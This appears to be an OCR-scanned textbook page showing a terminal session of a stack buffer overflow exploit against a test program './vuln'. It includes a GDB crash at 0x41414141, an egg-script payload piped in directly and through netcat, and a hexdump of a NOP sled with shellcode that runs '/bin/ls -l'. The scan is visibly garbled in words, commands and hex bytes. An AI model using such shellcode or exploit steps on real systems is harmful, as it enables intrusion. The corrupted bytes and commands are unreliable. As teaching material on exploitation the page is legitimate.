14

hakingg’ live:/ramdisk/home/haking

There is absolutely no uarranty for GDB. Type "shou uarranty" for details. This GDB uas confiyured as "i386-redhat-linux-gnu".

Core uas generated by './vuln 272'.

Program terminated uith signal 11, Segmentation fault.

#0    8x41414141 in ?? O

(gdb) [hakingQlive haking]$ ./egg_l.py I uc -c 49

[hakingQlive haking]$ ./vuln 272 &buf=0xbffff9b0

[hakingBlive haking]$ nc -1 -p 9999 I ./vuln 272

&buf=0xbffff9b0

num=272

ive	hakingl$			. /egg.		_2.py 1		hexdump -			-C
90	90	90	90	90	90	90	90	90	90	90	90	90	90	90	90
90	90	90	90	90	90	90	90	90	90	90	90	68	6c	73	00
00	89	e0	68	2d	6c	00	00	89	el	6a	00	51	50	68	2f
6c	73	00	68	2f	62	69	6e	89	e3	8d	4c	24	08	31	d2
6a	0b	58	cd	80	89	d3	6a	01	58	cd	80	le	fa	ff	bf

Segmentation fault (core dumped) [hakingS!

I................I

I............his. I

I . .ah-1...aj.QPh/l lls.h/bin.a.L$.lOl I j.xf..Ój.xf..uyal I . I

00000000

*

000000d0 000000e0 000000f0 00000100

00000110    0a

00000111

[hakingQlive haking]$ |